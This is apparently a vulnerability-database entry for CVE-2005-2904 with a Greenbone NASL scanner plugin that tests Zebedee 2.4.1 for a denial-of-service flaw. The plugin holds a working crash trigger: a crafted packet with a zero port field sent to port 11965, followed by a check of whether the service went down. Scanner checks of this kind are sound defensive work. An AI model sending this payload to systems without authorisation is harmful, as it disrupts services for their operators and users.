CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
AI Score
Confidence
Low
EPSS
Percentile
90.4%
Zebedee server is prone to a denial of service (DoS) vulnerability.
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.903028");
script_version("2024-06-27T05:05:29+0000");
script_cve_id("CVE-2005-2904");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_tag(name:"last_modification", value:"2024-06-27 05:05:29 +0000 (Thu, 27 Jun 2024)");
script_tag(name:"creation_date", value:"2012-05-24 11:08:06 +0530 (Thu, 24 May 2012)");
script_name("Zebedee Allowed Redirection Port DoS Vulnerability");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2012 Greenbone AG");
script_family("Denial of Service");
script_dependencies("find_service.nasl");
script_require_ports(11965);
script_xref(name:"URL", value:"http://secunia.com/advisories/16788/");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/14796");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/22220");
script_xref(name:"URL", value:"http://www.juniper.net/security/auto/vulnerabilities/vuln14796.html");
script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to cause a denial of
service via a zero in the port number of the protocol option header.");
script_tag(name:"affected", value:"Zebedee version 2.4.1");
script_tag(name:"insight", value:"The flaw is due to an error, while handling a connection request that
contains a port number value '0'.");
script_tag(name:"solution", value:"Upgrade to Zebedee 2.4.1A or later.");
script_tag(name:"summary", value:"Zebedee server is prone to a denial of service (DoS) vulnerability.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
port = 11965;
if(!get_port_state(port)){
exit(0);
}
soc = open_sock_tcp(port);
if(!soc){
exit(0);
}
crap = raw_string(
0x02, 0x01, # protocol version
0x00, 0x00, # flags
0x20, 0x00, # max message size
0x00, 0x06, # compression info
0x00, 0x00, # port request: value = 0x0
0x00, 0x80, # key length
0xff, 0xff, 0xff, 0xff, # key token
0x0b, 0xd8, 0x30, 0xb3, 0x21, 0x9c, 0xa6, 0x74, # nonce value
0x00, 0x00, 0x00, 0x00 # target host address
);
## Send the crap data
send(socket:soc,data:crap);
sleep(1);
close(soc);
soc1 = open_sock_tcp(port);
if(!soc1)
{
security_message(port);
exit(0);
}
close(soc1);